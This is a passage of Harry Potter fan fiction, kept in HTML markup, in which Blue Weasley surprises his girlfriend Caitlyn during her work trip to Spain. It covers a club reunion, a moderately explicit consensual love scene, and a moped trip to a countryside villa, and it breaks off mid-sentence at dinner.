Mandy dropped her towel in the pile next to the door.</p>\n\n<p>Caitlyn laughed. &#8220;So do I. I always thought he looked like my father though, and even if I wasn&#8217;t with Blue I still don&#8217;t think I could have dated him.&#8221; </p>\n\n<p>Mandy giggled. &#8220;I&#8217;m glad you didn&#8217;t.&#8221; she said without a trace of jealousy in her voice. </p>\n\n<p>&#8220;Do we really have to go back to that same club?&#8221; Caitlyn asked a few minutes later. </p>\n\n<p>&#8220;It was fun!&#8221; Mandy protested. </p>\n\n<p>&#8220;Maybe <i>you</i> had fun.&#8221; Caitlyn replied, perching herself on the edge of her bed. &#8220;I thought it was rather boring.&#8221;</p>\n\n<p>&#8220;Are you being a spoilsport just because Blue isn&#8217;t here?&#8221; Mandy asked with a teasing lilt to her voice.</p>\n\n<p>&#8220;I guess.&#8221; Caitlyn fell backwards and stared up at the ceiling. &#8220;We&#8217;ve been here a week and it feels like a year.&#8221; She hated being separated from her boyfriend of about 5 years; they never normally spent more than a few days apart from one another.</p>\n\n<p>&#8220;It&#8217;ll be over soon enough and then we&#8217;ll be back in rainy old <st1:country-region><st1:place>England</st1:place></st1:country-region>.&#8221; Mandy finished with her makeup.</p>\n\n<p>&#8220;Yeah, I suppose.&#8221; Caitlyn sat up again and pushed a few escaped strands of hair back. A knock on the door made both girls turn their heads and Mandy leapt forward and pulled it open.</p>\n\n<p>&#8220;How are my two favourite girls this evening?&#8221; Daniel poked his face through the doorway and grinned at the two of them.</p>\n\n<p>&#8220;Fine!&#8221; Mandy chirped, grabbing her purse off the chair. &#8220;Are you ready?&#8221; she asked Caitlyn.</p>\n\n<p>&#8220;Yup.&#8221; Caitlyn said, getting off the bed. The three of met up with a few other co workers and went down to leave the hotel. Being in a Muggle city, they had to make do with Muggle transportation, as using portkeys wasn&#8217;t always wise in such a populated place. Not being able to crowd into a single cab, they waited until Daniel waved down what looked more like a bus.</p>\n\n<p>&#8220;Where to?&#8221; the driver asked in Spanish. </p>\n\n<p>&#8220;Luna de Plata.&#8221; Caitlyn replied, squeezing into the far back seat. She moved over to the window and David Carmichael, Arnold Weinholdt, and Michelle Levinski crowded her in. Mandy and Daniel took the smaller seat in front of them as the cab pulled away from the curb with a jolt.</p>\n\n<p>&#8220;You look good tonight, Caty.&#8221; David was giving her an appreciative glance.</p>\n\n<p>&#8220;Thanks.&#8221; Caitlyn replied, unaffected by his tone. As conceited as it might sound, she was used to David hitting on her; he knew as well as everyone else about how close she and Blue were. She nudged him now with her shoulder and jerked her head in the direction of Daniel and Mandy, who were already snogging.</p>\n\n<p>&#8220;Sick isn&#8217;t it?&#8221; She grinned.</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; David pulled a mock serious face. &#8220;It&#8217;s almost as bad as when Blue visits you at the office&#8230;&#8221; He laughed as she smacked his shoulder.</p>\n\n<p>&#8220;Ass.&#8221; She said. David smirked and put one arm across her shoulders and the other over <st1:city><st1:place>Arnold</st1:place></st1:city>&#8217;s.</p>\n\n<p>&#8220;My two favourite girls.&#8221; He grinned cheekily. </p>\n\n<p>&#8220;Sod off David.&#8221; <st1:city><st1:place>Arnold</st1:place></st1:city> said good-naturedly. <st1:city><st1:place>Arnold</st1:place></st1:city> was as gay as they came, and was often teased by David because of it. &#8220;You&#8217;re just mad because women still flock to me and not you.&#8221;</p>\n\n<p>Michelle and Caitlyn burst out laughing at this, and for a few minutes she was able to forget the loneliness of being away from Blue. But by the time they had arrived at the club, gotten drinks and settled in, it had returned. Sipping her rum and coke, Caitlyn smiled to herself as she watched Mandy and Daniel cut up the dance floor, <st1:city><st1:place>Arnold</st1:place></st1:city> and Michelle right behind them, and David off in the corner with a Spanish flower he&#8217;d met the instant he walked in the door.</p>\n\n<p>Blue Weasley looked at the slip of paper in his hand. &#8220;Luna de Plata.&#8221; He read, looking up at the bright neon sign. &#8220;I sure hope this is the right place.&#8221; </p>\n\n<p>It certainly looked like it was, he&#8217;d scoured nearly half the city already, many clubs had the name Luna attached to them, but this was thankfully, the only Luna de Plata. Stepping through the doorway, his eyes adjusted to the dim, smoky interior.</p>\n\n<p>&#8220;All right Mandy, where are you?&#8221; Blue muttered as he scanned through the large crowd. He spotted his girlfriend&#8217;s co worker on the dance floor, then looked to the right and saw Caitlyn sitting at a table alone, sipping a drink. He licked his lips at the sight of her bare skin; and her long glossy braid swung over one shoulder. Blue ducked back behind the crowd and stole his way around the floor, not wanting her to see him quite yet. </p>\n\n<p>Bored, Caitlyn moved her body slightly to the pounding sounds of the music pouring through the speakers. Having been raised as a Muggle for almost half her life, she was familiar with the type of tunes they listened to. She was about to take another sip of her drink when all of a sudden two hands had covered her eyes.</p>\n\n<p>&#8220;Guess who&#8230;.&#8221; A low voice said into her ear. Caitlyn gasped and whirled around, staring in shock for a long moment.</p>\n\n<p>&#8220;Blue!&#8221; she finally shrieked, throwing her arms around him. She hugged him tightly for a minute and then pulled back to look at him. &#8220;What in Merlin&#8217;s name are you doing here?&#8221; she put her hand on his cheek, as if wanting to see if he was truly there in front of her.</p>\n\n<p>&#8220;Surprise!&#8221; he grinned. Caitlyn pulled Blue into a hug again, feeling his arms go around her waist to keep her up tight against him.</p>\n\n<p>&#8220;I can&#8217;t believe it!&#8221; she gasped. &#8220;How&#8230; how did you know where we were?&#8221;</p>\n\n<p>&#8220;You have a good friend out there.&#8221; Blue moved his head in the direction of Mandy, who was waving at her and grinning like the cat that had just eaten the canary. </p>\n\n<p>Caitlyn couldn&#8217;t suppress her own large smile as she looked from Blue to Mandy to Blue again. &#8220;So you two planned this?&#8221;</p>\n\n<p>&#8220;Yes we did.&#8221; Blue looked extremely satisfied. &#8220;Now how about you pay me back for all this plotting?&#8221;</p>\n\n<p>She didn&#8217;t need to be told twice. Covering his mouth with hers, Caitlyn hungrily thrust her tongue against his, not caring that they were in a very public place. Blue kissed her back, cupping her cheek in his hand, winding his other around her braid. </p>\n\n<p>&#8220;Mmm&#8230;&#8221; she pulled away after a few minutes. &#8220;I still can&#8217;t believe you&#8217;re really here.&#8221; She meant to say it softly but had to shout due to the music. &#8220;I&#8217;ve really missed you.&#8221;</p>\n\n<p>&#8220;I missed you too, a lot. The flat isn&#8217;t the same when it&#8217;s all empty.&#8221; The corners of Blue&#8217;s mouth turned down a bit.&nbsp; &#8220;I had a few days off from Quidditch practice, and so I owled Mandy and worked this out.&#8221;</p>\n\n<p>&#8220;How long can you stay?&#8221; Caitlyn asked, lacing her fingers with his.</p>\n\n<p>&#8220;Till the day after tomorrow, I have a meeting in the late afternoon.&#8221; He replied. &#8220;I wish it could be more, but with us possibly going to the World Cup next summer, we&#8217;ve been working extra hard.&#8221;</p>\n\n<p>Caitlyn leaned against him. &#8220;I&#8217;m glad you managed this. Two days is better than nothing.&#8221; She felt him smile into her hair. &#8220;How about we get out on that floor?&#8221; she nodded to where the rest of her friends were dancing together.</p>\n\n<p>Blue stared at her. &#8220;Caty, me, dance?&#8221;</p>\n\n<p>&#8220;Yes, you, dance, Blue.&#8221; Caitlyn grinned. &#8220;Since you know you can step on my feet, but this isn&#8217;t that kind of dancing.&#8221;</p>\n\n<p>&#8220;It&#8217;s not?&#8221; He quirked his eyebrows at her and grinned. </p>\n\n<p>She turned and went a few steps onto the floor, then beckoned to him with her index finger. Blue followed immediately, and Caitlyn took his hands and placed one low on her hip, weaving their fingers together with the other. </p>\n\n<p>&#8220;Just follow what I do.&#8221; She said as she pulled her body up tight against his and placed her free hand on his shoulder. </p>\n\n<p>&#8220;All right.&#8221; Blue said uncertainly. Caitlyn kissed him once more and then began to move; he tried his hardest to keep up with her but it wasn&#8217;t easy. She was a good dancer, but quick, and he spent more time stumbling on his feet and trying to avoid smashing hers rather than actually dance.</p>\n\n<p>&#8220;Can we just go?&#8221; Blue asked after the third song ended. &#8220;I can think of other things I&#8217;d like to do with you tonight.&#8221; He murmured into her ear.</p>\n\n<p>&#8220;Oh Blue, I want to, you know I do&#8230; but Mandy and I share a room.&#8221; Caitlyn was apologetic.</p>\n\n<p>&#8220;What time are they coming back?&#8221; he asked.</p>\n\n<p>&#8220;I&#8217;m not sure.&#8221; She replied. &#8220;Why?&#8221;</p>\n\n<p>&#8220;Well, if they&#8217;re not coming back for awhile, then we can leave now&#8230;&#8221; his blue eyes glowed.</p>\n\n<p>&#8220;Ooh.&#8221; Caitlyn grinned. &#8220;Let me go ask her.&#8221; She disappeared into the throng of dancers on the floor.</p>\n\n<p>Five minutes later, both of them were in the back of a speeding cab on their way to the hotel. Blue was gripping Caitlyn&#8217;s hand tightly, as if he was afraid she was going to take off on him the moment they left the car. Barely making it up to the room, the instant she shut and locked the door behind them Blue had covered her mouth, kissing her roughly.</p>\n\n<p>Tiny cries escaped her throat as their tongues duelled; arms were roaming freely about each other&#8217;s bodies. Blue backed Caitlyn up and pushed her against the wall.</p>\n\n<p>&#8220;Ouch&#8230;&#8221; she said, rubbing her backside.</p>\n\n<p>&#8220;Sorry.&#8221; Blue said sheepishly. &#8220;I didn&#8217;t hurt you bad did I?&#8221;</p>\n\n<p>&#8220;No, I&#8217;m all right.&#8221; Caitlyn grinned. She grabbed his hand. &#8220;The bed is much, much more comfortable though.&#8221;</p>\n\n<p>Her insinuation was not missed and Blue grabbed her around the waist. Rushing across the room to her bed, he dropped her on it and then jumped in after her.</p>\n\n<p>Caitlyn laughed as he began to kiss her neck. His hands moved up underneath her halter top, his thumbs stroking her skin gently. Sitting up, she guided his hands up so that the halter slipped free. Underneath she wore a strapless bra, which his expert fingers unhooked quickly as well. </p>\n\n<p>Depriving Blue of his shirt and dropping it down on top of her own discarded clothing, their mouths met again in a fiery kiss. They sat up, mouths still fused together; Blue ran his hand down the length of her braid and pulled the rubber band off the end. Twirling his fingers through, he loosened her hair until it fell in a long, shiny waterfall down her back.</p>\n\n<p>&#8220;I love your hair&#8230;&#8221; he murmured as he ran his fingers through the tresses many times, his lips brushing her shoulder.</p>\n\n<p>&#8220;Mmhmmm&#8230;.&#8221; Caitlyn said, her eyes closed, enjoying what her boyfriend was doing to her. &#8220;I like yours too.&#8221;</p>\n\n<p>&#8220;Whatever you say&#8230;&#8221; Blue didn&#8217;t want to talk anymore. Pressing his mouth firmly to hers, their tongues clashed madly. He moved his hands down to her pants and fumbled a bit with the zipper before pulling it down and sliding them from her legs. Their mouths returned to each others as Caitlyn undid his trousers and with his help, pulled them off. </p>\n\n<p>Blue pinned her down to the bed as his hands roamed freely, over her flat stomach to her hardened nipples. He took her breast into his mouth and she arched her back, pressing herself against him.</p>\n\n<p>Caitlyn slipped her hand down into his boxers and stroked his manhood, making him groan out her name several times.</p>\n\n<p>&#8220;Damn it Caty&#8230;&#8221; he growled as she grinned up at him. &#8220;Why do you have to go and do that?&#8221;</p>\n\n<p>&#8220;Because I want you&#8230;.&#8221; She pulled his head back down to hers and kissed him so hard she could feel her lips bruise. Blue clutched her body against his and returned her kiss.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Some Time Later&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;Caty?&#8221; Blue asked as he ran his fingers along her arm.</p>\n\n<p>&#8220;Hmm?&#8221; she asked sleepily.</p>\n\n<p>&#8220;Remember the first time we made love?&#8221; he asked, turning his head down to look at her.</p>\n\n<p>&#8220;No&#8230;&#8221; she replied. </p>\n\n<p>&#8220;You don&#8217;t remember?&#8221; Blue propped himself up on one elbow and stared down at her. &#8220;How could you forget something like that?&#8221;</p>\n\n<p>&#8220;Relax Blue, I was just kidding. Of course I remember you git!&#8221; Caitlyn pushed him back down and moved her body on top of his.</p>\n\n<p>&#8220;Sorry.&#8221; He said a bit sheepishly. </p>\n\n<p>&#8220;Why are you bringing that up anyways?&#8221; she asked, yawning. </p>\n\n<p>&#8220;I always think about it, especially after we make love.&#8221; Blue replied, resuming his previous activity of stroking her skin.</p>\n\n<p>&#8220;It was definitely memorable.&#8221; She grinned. &#8220;On our living room sofa, the night I moved into that flat.&#8221;</p>\n\n<p>&#8220;You know what I liked best about it?&#8221; he asked.</p>\n\n<p>&#8220;What?&#8221; Caitlyn kissed him lightly.</p>\n\n<p>&#8220;That we didn&#8217;t plan it.&#8221; Blue chuckled. &#8220;It was so spontaneous.&#8221;</p>\n\n<p>&#8220;Well that just describes us perfectly doesn&#8217;t it?&#8221; Caitlyn was laughing too. &#8220;Tonight just proves it once more.&#8221; She kissed him again and pushed off him.</p>\n\n<p>&#8220;Where are you going?&#8221; he whined, missing the warmth of her body.</p>\n\n<p>&#8220;To put some clothes on.&#8221; Caitlyn replied, pulling a nightgown out of a drawer. &#8220;Mandy will be back soon and I don&#8217;t want her walking in on us naked.&#8221;</p>\n\n<p>&#8220;This is why you&#8217;re the brains of our relationship.&#8221; Blue joked, reaching for his boxers. &#8220;You always think of the small details.&#8221;</p>\n\n<p>&#8220;I hardly think getting dressed before a roommate walks in makes me exceptionally smart.&#8221; Caitlyn said wryly as she pulled her mass of hair from the nightgown. &#8220;Here.&#8221; She said, grabbing a brush from the dresser top. &#8220;Braid this for me again.&#8221; </p>\n\n<p>Blue took the brush as she sat down on the edge of the bed. Taking it from her crown to the ends, it was awhile before he had it brushed through with no tangles. Caitlyn was leaning back; her eyes closed as he put the brush down and threaded his fingers through her locks. He separated her hair into three sections and began to braid it; making it tight enough so that the braid wouldn&#8217;t fall apart while she slept, but loose enough so that she would be comfortable.</p>\n\n<p>&#8220;Thanks.&#8221; Caitlyn said softly as he finished. Tossing the brush on the dresser, she moved back to where Blue was sitting at the edge of the bed. Straddling his lap, she gently pushed him back down on the bed, and then bent her head so that her mouth met his. </p>\n\n<p>He wrapped his arms around her waist and pulled them both up so their heads were resting on the pillows. Too tired now to be more amorous than just kissing, they drew the covers up and Caitlyn nestled herself in Blue&#8217;s arms.</p>\n\n<p>&#8220;It was a good surprise Blue.&#8221; She said, about to drift off to sleep.</p>\n\n<p>&#8220;Was it?&#8221; he sounded equally as tired.</p>\n\n<p>&#8220;Very good.&#8221; She turned in his arms and kissed him once more. &#8220;I love you&#8230;&#8221; she said, her lips moving softly against his.</p>\n\n<p>&#8220;I love you too Caty.&#8221; Pressing their mouths together briefly, they soon fell asleep.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Next Morning&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Blue awoke to the busy sounds of the Spanish city outside the open windows. He stretched one arm out in search of his girlfriend, but instead hit the empty bed next to him.</p>\n\n<p>&#8220;Caty?&#8221; he called out sleepily. Opening his eyes, he saw a piece of parchment resting on her pillow.</p>\n\n<p><i>-Blue</i></p>\n\n<p><i></i></p>\n\n<p><i>Have to work today. I&#8217;ll try to get off early so we can spend as much time together as possible. See you this afternoon!</i></p>\n\n<p><i></i></p>\n\n<p><i>Love, Caty XOXO-</i></p>\n\n<p>He smiled and put the note down, rolling on his back and looking up at the intricately carved ceiling. Spending about an hour more in bed, he got up and took a shower, and realised he was starving.</p>\n\n<p>&#8220;What&#8217;s to eat around here?&#8221; Blue wondered, not even thinking of the wand in his bag. He searched through a few drawers, and looked over the tables, but there was nothing even resembling food. Blue thought about going down, he knew there must be a pub like the Leaky Cauldron, but he wasn&#8217;t sure how he would get back in the room.</p>\n\n<p>Sighing, he flopped back down on the bed and blew his breath out, trying to ignore his hunger pangs. </p>\n\n<p>&#8220;Caitlyn let&#8217;s take a break.&#8221; Mandy tossed down her quill. &#8220;We&#8217;ve been at it since eight this morning.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Caitlyn didn&#8217;t need to be persuaded.</p>\n\n<p>&#8220;So did you have a good night last night?&#8221; Mandy asked with a sly grin.</p>\n\n<p>&#8220;Yes, you sneak.&#8221; Caitlyn couldn&#8217;t stop her smile. &#8220;Now I see why you were so eager to get back to that club.&#8221;</p>\n\n<p>&#8220;So&#8230;&#8221; Mandy studied her nails. &#8220;Since Blue&#8217;s only in town for a few days, I suppose you wouldn&#8217;t be opposed to the idea of a day off for all of us?&#8221;</p>\n\n<p>Caitlyn snickered. &#8220;I&#8217;d thought of that. Seems a shame to waste his visit buried in an old Spanish wizarding library, doesn&#8217;t it?&#8221;</p>\n\n<p>&#8220;Yes I agree.&#8221; Mandy said eagerly.</p>\n\n<p>&#8220;This wouldn&#8217;t have anything to do with you wanting to spend a day <i>alone</i> with Daniel does it?&#8221; It was Caitlyn&#8217;s turn to look sly now.</p>\n\n<p>&#8220;Guilty as charged.&#8221; Mandy grinned sheepishly. &#8220;Come on, Caty, you know you want to spend tomorrow with Blue&#8230;&#8221; she wheedled.</p>\n\n<p>&#8220;Twist my arm a little.&#8221; Caitlyn laughed. &#8220;All right, all right, let&#8217;s take tomorrow off. We can spare it.&#8221;</p>\n\n<p>&#8220;Yay!&#8221; Mandy hugged her and jumped up. &#8220;Guess what everyone! Caitlyn says we can take tomorrow off!&#8221;</p>\n\n<p>A chorus of exclamations rose from the group, all of them quite pleased. </p>\n\n<p>&#8220;I know you guys will work extra hard day after tomorrow for me, right?&#8221; Caitlyn teased. </p>\n\n<p>&#8220;Of course we will.&#8221; Daniel promised. Arnold, Michelle and David all nodded vigorously.</p>\n\n<p>&#8220;For that matter&#8230;&#8221; Caitlyn closed the books in front of her. &#8220;How about the rest of today as well?&#8221;</p>\n\n<p>&#8220;Caty, did we ever tell you how much we love you?&#8221; David nearly shouted. </p>\n\n<p>Caitlyn waved her hand. &#8220;Don&#8217;t thank me, thank Blue, he&#8217;s the reason I&#8217;m giving everyone the day off.&#8221; Her grin widened. &#8220;If you can find him that is&#8230;&#8221; </p>\n\n<p>Everyone laughed as they stacked the books to be returned by the librarian, then went up out into the warm sunshine. It was only <st1:time minute="30" hour="12">half past noon</st1:time>, and Caitlyn was hungry; they had all gulped down a quick breakfast that morning.</p>\n\n<p><st1:city><st1:place>Arnold</st1:place></st1:city> hailed a bus taxi similar to the one they took the night before, and they were back at the hotel in no time.</p>\n\n<p>&#8220;Everyone have a good day tomorrow!&#8221; Caitlyn called to her co workers. She headed to the elevators and rode up to her room, anxious to see Blue. Opening the door with her key, she peered inside.</p>\n\n<p>&#8220;Hello?&#8221; she called out, and suddenly a red haired figure hurtled itself at her.</p>\n\n<p>&#8220;FOOD!&#8221; Blue cried. &#8220;I&#8217;m so hungry I could eat a hippogriff!&#8221;</p>\n\n<p>&#8220;Why didn&#8217;t you call for room service?&#8221; Caitlyn asked.</p>\n\n<p>&#8220;What?&#8221; Blue was confused. &#8220;Room service?&#8221;</p>\n\n<p>&#8220;Never mind.&#8221; Caitlyn hugged him around the waist. &#8220;There&#8217;s a caf&#233; downstairs, we can get something there.&#8221;</p>\n\n<p>&#8220;Great.&#8221; Blue pulled himself away and headed towards the door.</p>\n\n<p>&#8220;Ahem.&#8221; Caitlyn cleared her throat deliberately. &#8220;Aren&#8217;t you forgetting something?&#8221;</p>\n\n<p>&#8220;What?&#8221; Blue looked around. &#8220;Money?&#8221;</p>\n\n<p>&#8220;No&#8230;&#8221; Caitlyn stepped forward. &#8220;This.&#8221; she stood on her toes and planted her lips on his firmly, running her hands up and over his chest. He returned her kiss, sweeping his tongue over her lips and entering her mouth.</p>\n\n<p>&#8220;I can&#8217;t believe you forgot to kiss me.&#8221; She muttered.</p>\n\n<p>&#8220;I didn&#8217;t forget.&#8221; Blue claimed. &#8220;I&#8217;m just really really hungry!&#8221; he wrapped his arms around her waist and kissed her again, keeping his lips on hers longer this time.</p>\n\n<p>&#8220;That&#8217;s what I thought.&#8221; Caitlyn said as they broke apart. She took his hand, lacing their fingers together. &#8220;If you&#8217;re still hungry, let&#8217;s go get food.&#8221;</p>\n\n<p>Blue didn&#8217;t put up an argument as they went back downstairs and into the caf&#233;. They were seated immediately and given menus.</p>\n\n<p>&#8220;Caty I can&#8217;t read any of this!&#8221; Blue said, looking at the rows of neat printing. Caitlyn smiled and moved next to him.</p>\n\n<p>&#8220;Well, this is good, and this&#8230; you&#8217;d like this as well.&#8221; She pointed out several things on the menu, telling him what each one was. When the waiter came over to take their order, he just wound up pointing, since he couldn&#8217;t pronounce anything.</p>\n\n<p>&#8220;Guess what?&#8221; Caitlyn said once their glasses had been filled with water.</p>\n\n<p>&#8220;What?&#8221; Blue asked, his mouth full of the bread the waiter had just set down.</p>\n\n<p>&#8220;Since you&#8217;re here, I gave everyone the day off tomorrow.&#8221; Caitlyn replied with a smile. &#8220;So now tonight and tomorrow we can spend the day doing anything we want.&#8221; She raised an insinuating eyebrow.</p>\n\n<p>Blue grinned; he knew exactly what he wanted to do with her. &#8220;Anything?&#8221; he asked in a low tone.</p>\n\n<p>&#8220;Anything.&#8221; Caitlyn replied, lowering her voice as well. &#8220;So I was thinking, we have a rented moped, and once you get into the countryside there are villas that you can spend the night in&#8230;&#8221; she trailed off.</p>\n\n<p>&#8220;So you&#8217;re thinking we can go off alone and spend the night somewhere.&#8221; Blue finished. &#8220;Definitely.&#8221;</p>\n\n<p>&#8220;Great.&#8221; Caitlyn said. &#8220;Did I tell you how happy I am that you came?&#8221;</p>\n\n<p>&#8220;Last night.&#8221; Blue grinned. &#8220;And then again this morning, really quietly.&#8221;</p>\n\n<p>&#8220;Oh right&#8230;&#8221; she said. Caitlyn reached for his hand across the table. Her heart thumped madly against her chest as he grinned at her again. She loved him, so much. It both amused and scared her to think of how hesitant she had been during the first few months of their relationship.</p>\n\n<p>Having him as a best friend had been one of the best things that had ever happened to her; second only to finding her mother at age 11. Blue had helped her come out of her shell, had been there for her during all previous relationships, had comforted her whenever she got homesick, and now he was just so much more, almost her whole world.</p>\n\n<p>&#8220;What are you thinking about?&#8221; Blue asked, stuffing his sixth piece of bread into his mouth.</p>\n\n<p>&#8220;You.&#8221; Caitlyn replied. &#8220;How I got so lucky.&#8221; She squeezed his hand.</p>\n\n<p>&#8220;I think I&#8217;m the lucky one.&#8221; Blue replied. &#8220;I thought for sure that last night in our 7<sup>th</sup> year I had screwed everything up.&#8221;</p>\n\n<p>Caitlyn laughed. &#8220;No, that was all me. I was so blind to how I felt about you.&#8221; She leaned forward. &#8220;But thank goodness it all turned out right. I can&#8217;t imagine myself with anyone else.&#8221;</p>\n\n<p>&#8220;Neither can I.&#8221; Blue agreed as their food was set down before them. Both of them were silent as they ate quickly. Caitlyn paid the bill when they were done and they headed outside to the parking lot.</p>\n\n<p>&#8220;I am NOT wearing a pink helmet!&#8221; Blue crossed his arms over his chest and glowered at his girlfriend. </p>\n\n<p>&#8220;But this one is <st1:city><st1:place>Arnold</st1:place></st1:city>&#8217;s!&#8221; Caitlyn replied, thrusting it at him. &#8220;And it&#8217;s the only one to fit your head, mine is too small!&#8221;</p>\n\n<p>Blue shook his head stubbornly. &#8220;No way, I have no problems with <st1:city><st1:place>Arnold</st1:place></st1:city> being gay, but I draw the line at wearing PINK!&#8221;</p>\n\n<p>Caitlyn rolled her eyes. &#8220;Fine.&#8221; She said. Looking around, she decided there were no Muggles around to witness her display of magic, and drew her wand out to quickly change the colour.</p>\n\n<p>&#8220;That&#8217;s much better.&#8221; Blue said, taking the black helmet from her hands.</p>\n\n<p>&#8220;Stubborn asshole.&#8221; She muttered affectionately, starting the moped.</p>\n\n<p>&#8220;What?&#8221; he asked, the helmet made things muffled. Caitlyn didn&#8217;t reply, but kicked off and Blue had to grab her around the waist so that he didn&#8217;t fall off. He admired her driving skills as she wove through the Muggle city, not once getting them caught in a traffic jam. Caitlyn seemed to know back streets and alleyways that would get them out of anything.</p>\n\n<p>Soon enough they were driving through the countryside, it was a lot more beautiful than Blue would have thought it&#8217;d be. The trees were still in full bloom; the landscape rich despite the late summer temperature. After going for about an hour, she pulled over at a tiny roadside stand*.</p>\n\n<p>&#8220;What are we doing?&#8221; Blue asked, removing the cumbersome helmet from his head.</p>\n\n<p>&#8220;I saw the paintings and I&#8217;ve been looking for a gift for my parents.&#8221; Caitlyn replied, swinging one leg over the moped. She trotted off towards the stand.</p>\n\n<p>Blue sauntered along at a leisurely pace, taking a look at the pictures put up for display. He was impressed; they were all done in oil paints and quite realistic looking. </p>\n\n<p>&#8220;Which one, do you think?&#8221; Caitlyn held two up. &#8220;I can&#8217;t decide which one I like better.&#8221;</p>\n\n<p>&#8220;Umm&#8230;.&#8221; Blue looked at both paintings while the booth owner waited patiently. &#8220;That one.&#8221; He chose the one she held in her right hand.</p>\n\n<p>&#8220;That&#8217;s the one I was thinking as well.&#8221; Caitlyn set the other back down gently. &#8220;My mother will love this; she&#8217;s always looking for things to hang in the house.&#8221; She paid for the painting and after settling it securely on top of their bags, they took off again.</p>\n\n<p>They drove on for another hour, stopping once more for a bathroom break and to get a drink at a small Spanish restaurant. Blue had wanted to stay for a snack, but Caitlyn insisted once they got to a place to stay they could change up and have dinner.</p>\n\n<p>Arriving at a restored villa a little while later, Caitlyn checked them in. The receptionist was a bit inquisitive, and spoke in rapid Spanish that even Caitlyn had trouble understanding. As she handed them the keys to the room, Blue wondered why the two women were laughing.</p>\n\n<p>&#8220;What was that all about?&#8221; Blue asked in a whisper as they walked up the circular stairway to the second floor, where their room was.</p>\n\n<p>&#8220;Oh.&#8221; Caitlyn swallowed a giggle. &#8220;She asked if we were married, so I told her yes, we were on our honeymoon and looking to get away from the city for a night or so.&#8221;</p>\n\n<p>Blue stared at her. &#8220;You said we were on our honeymoon?&#8221;</p>\n\n<p>Caitlyn dangled a key before him and dropped it into his palm. &#8220;It got us the honeymoon suite for the price of a regular one.&#8221;</p>\n\n<p>&#8220;Aha!&#8221; Blue&#8217;s eyes gleamed. &#8220;Well&#8230; <i>wife</i> of mine&#8230;&#8221; he hugged her around the waist as she laughed again. &#8220;Let&#8217;s go check this out.&#8221; He unlocked the door and they stepped inside, dropping their bags.</p>\n\n<p>&#8220;Wow.&#8221; Caitlyn looked around the airy room. &#8220;This is gorgeous!&#8221;</p>\n\n<p>&#8220;Well the only thing I need to know about is the bed.&#8221; Blue kicked the door shut behind him and grabbed Caitlyn, hoisting her over his shoulder. She shrieked in surprise as he ran across the room and dropped her on the bed. &#8220;How does it feel?&#8221;</p>\n\n<p>&#8220;Get on here and find out!&#8221; Caitlyn pulled him down next to her. </p>\n\n<p>&#8220;Ooh, very nice.&#8221; Blue pushed her onto the mattress. He kissed her lightly, moving his hand down over her stomach. &#8220;Just the way I like it.&#8221;</p>\n\n<p>&#8220;You&#8217;re such a letch you know that?&#8221; she asked as they both grinned at each other.</p>\n\n<p>&#8220;Only for you.&#8221; He nuzzled at her neck as her hands caressed his backside. They divulged in a lengthy snogging session that lasted for quite awhile, pulling away from one another when both of them realised the light was growing dimmer.</p>\n\n<p>&#8220;I&#8217;m starving.&#8221; Blue immediately said upon looking at the clock.</p>\n\n<p>&#8220;You&#8217;re always hungry.&#8221; Caitlyn replied, swinging her legs off the side of the bed and standing up.</p>\n\n<p>&#8220;I know but this time I&#8217;m <i>really</i> hungry.&#8221; Blue got up as well.</p>\n\n<p>&#8220;Well there&#8217;s a restaurant downstairs.&#8221; Caitlyn replied. &#8220;We can either go there or hop back on the moped and drive somewhere.&#8221;</p>\n\n<p>&#8220;Downstairs is fine.&#8221; He said. Caitlyn grabbed her bag and disappeared into the bathroom. </p>\n\n<p>&#8220;I&#8217;ll be out in a few minutes.&#8221; She called through the door. Blue got himself ready quickly, putting on a dark pair of trousers with an off white shirt, leaving the top few buttons undone. He ran a brush through his longish red hair and sat on the bed.</p>\n\n<p>&#8220;Come on!&#8221; He called a quarter of an hour later when his girlfriend still hadn&#8217;t emerged. &#8220;You said you&#8217;d only be a few minutes!&#8221;</p>\n\n<p>&#8220;Relax!&#8221; Caitlyn opened the door. &#8220;I&#8217;m ready!&#8221;</p>\n\n<p>&#8220;Wow!&#8221; Blue forgot about his misgivings and stared. Her hair was loose and wavy, the thick locks tucked behind her ears, her tan standing out against the ivory silk slip-dress that went to her knees. Matching shoes and the diamond earrings he had given her completed the outfit.</p>\n\n<p>&#8220;What?&#8221; Caitlyn felt self conscious as he stared and stared at her. </p>\n\n<p>&#8220;You look gorgeous.&#8221; Blue got up, still looking at her. &#8220;Wow!&#8221;</p>\n\n<p>A slightly embarrassed smile sprang to her lips. &#8220;Thanks.&#8221; She murmured. &#8220;Ready to go then?&#8221;</p>\n\n<p>&#8220;I&#8217;ve been ready.&#8221; He teased. &#8220;Took you forever!&#8221;</p>\n\n<p>&#8220;Well I had to look good; we women have a reputation to uphold you know.&#8221; Caitlyn shot back as he wound his arms around her waist.</p>\n\n<p>&#8220;You won&#8217;t see me complaining.&#8221; He said and she started laughing. &#8220;What you don&#8217;t believe me?&#8221; he asked jokingly.</p>\n\n<p>&#8220;Only on the days that don&#8217;t end in Y.&#8221; She replied smartly and they both laughed.</p>\n\n<p>&#8220;I don&#8217;t know how I&#8217;m supposed to keep my hands off you tonight.&#8221; Blue leaned in and kissed her lightly. </p>\n\n<p>&#8220;Well considering we&#8217;re on our honeymoon you don&#8217;t have to.&#8221; Caitlyn remarked as she pressed her mouth to his again. &#8220;Come on, if we keep this up we&#8217;ll never get to dinner.&#8221;</p>\n\n<p>They went downstairs and Blue noted without a trace of jealousy that Caitlyn was getting quite a few second looks from the other men staying at the villa. She spoke more Spanish that he couldn&#8217;t understand to the host, and just a moment later, they were being led to a table near the back of the dimly lit restaurant.</p>\n\n<p>&#8220;This is nice.&#8221; Caitlyn said once their 